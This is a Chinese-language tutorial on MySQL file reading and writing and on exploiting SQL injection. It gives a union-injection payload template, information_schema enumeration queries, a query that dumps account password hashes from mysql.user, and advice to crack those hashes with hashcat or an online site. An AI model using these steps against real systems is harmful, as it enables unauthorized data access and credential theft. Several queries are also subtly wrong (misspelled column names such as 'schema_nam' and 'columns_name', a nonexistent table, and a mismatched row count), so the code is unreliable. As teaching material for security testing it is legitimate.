MySQL數據庫文件讀寫
權限要求:
-
具備讀寫權限並且目標文件為可讀內容
-
目標內容具有完整路徑且目錄可訪問
-
目標內容是否具備文件讀寫操作權限
查看是否有文件讀寫權限
show variables like '%secure%';
secure_file_priv
絕對文件讀取的功能
null
:不允許任何導入導出
./[url]
:導入/導出操作只可以在./[url]路徑下進行
:空內容;導入導出無限制
在my.ini文件中,修改
secure_file_priv
屬性值可以修改導入導出權限
確保具備文件導入導出權限后即可進行文件讀寫操作~~~
讀寫文件:
數據庫表讀取文件中的內容並保存~
load_file:
load_file(<[./url/]file>);
load_file
在指定的目錄下創建文件
首先我們需要在/var/lib/mysql-files/創建一個文件user.txt
$ vi /var/lib/mysql-files/user.txt user.txt: Hello,World!
create table file(
id int not null auto_increment primary key,
file_url text
)engine=innodb default charset=utf8; -- 創建表file
insert into file(file_url) values (load_file('/var/lib/mysql-files/user.txt'));
mysql> select * from file;
+----+---------------+
| id | file_url |
+----+---------------+
| 1 | NULL |
| 2 | Hello,World! |
+----+---------------+
2 rows in set (0.00 sec)
文件中的數據內容就這樣寫入了數據表中!
load data infile:
load data infile '/var/lib/mysql-files/name.txt' into table file(file_url);
mysql> mysql> select * from file;
+----+---------------+
| id | file_url |
+----+---------------+
| 1 | NULL |
| 2 | Hello,World! |
| 3 | Hello,World! |
+----+---------------+
3 rows in set (0.00 sec)
注入利用:
我們可以通過前期的滲透手段和分析得知目標網站某處存在SQL注入漏洞;於是我們就可以利用SQL的文件讀取的特性來讀取目標系統中的某個文件的內容
MySQL數據庫系統表
MySQL在剛剛初始化后,默認有三個系統默認庫:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.00 sec)
這些事MySQL數據庫自帶的三個基本的系統庫
information_schema:
其中保存有MYSQL所維護的所有數據庫信息,包括庫名、表名、表列、權限……等信息
performance_schema:
用於收集數據庫服務器的性能參數
mysql:s
保留mysql的賬戶信息、權限、存儲過程、event、時區等配置信息
information_schema庫:
information_schema 庫通常保存由數據庫的元數據:
數據庫名,表名,列的屬性、類型、訪問權限等等……
在information_schema
庫中有許多重要的系統表,可以為滲透過程中提供幫助!
SCHEMATA表:庫信息
提供了當前MySQL所有庫的信息,show databases;
的結果就是據此而顯示~
tables表:表信息
information_schema.tables
表中提供了表的詳細信息
select <列名> from information_schema.tables;
table表中主要記錄了數據庫中所有表的元數據,例如表名、類型、引擎……
在滲透過程中,如果我們掌握到這張表就可以掌握數據庫的大概的表
COLUMNS表:字段信息
information_schema.COLUMNS
表中提供了表中字段信息
select COLUMN_NAME,DATA_TYPE,IS_NULLABLE,COLUMN_DEFAULT
from information_schema.COLUMNS
where table_name = 'user';
查詢user表中的字段名信息
STATISTICS表:索引信息
information_statistics
表中提供表的索引信息內容
TRIGGERS表:觸發器信息
VIEWS表:視圖信息
USER_PRIVLEGES表:用戶權限表
信息源自於mysql.user
授權表;里面保存着數據庫每個賬戶具備的權限信息
SCHEMA_PRIVLEGES表:方案(庫)權限表
信息源自於mysql.db
授權表,保存着數據庫的權限的信息
TABLE_PRIVLEGES表:表權限表
信息源自於mysql.tables_prive
授權表,保存所有表信息的權限
COLUMNS_PRIVLEGES表:列權限表
信息源自於mysql.columns_prive
s授權表,保存表列的權限信息
CHARCTER_SETS表:字符集表
提供mysql所有相關的字符集信息
使用系統表注入
*在SQL注入中union聯合注入是最為常見的
普遍的情況下,使用union
語句實現聯合注入(回顯注入)……
' union <SQL語句>; #
現在簡單的舉例幾條SQL語句實現核心的條件查詢
MySQL注入查詢SQL:
查當前 庫名:
select 1 , database();
查庫 SQL語句:
select schema_nam from information_schema.schemata;
查表 SQL語句:
select table_name from information_schema.tables where table_schema = "<databases_name>";
查列(字段) SQL語句:
select columns_name from information_schema.columns where table_name = "<tables_name>";
順帶一提~SQL盲注
上面說的SQL注入是基於頁面有“回顯”的注入(回顯注入)
如果頁面沒有回顯,那么就需要進行“盲注入”
hash破解*
獲取管理員hash:
select user,password from mysql.user;
破解hash:
推薦神器:hashcat
推薦網站:CMD5(本例使用CMD5網站破解)
成功解出密碼……_!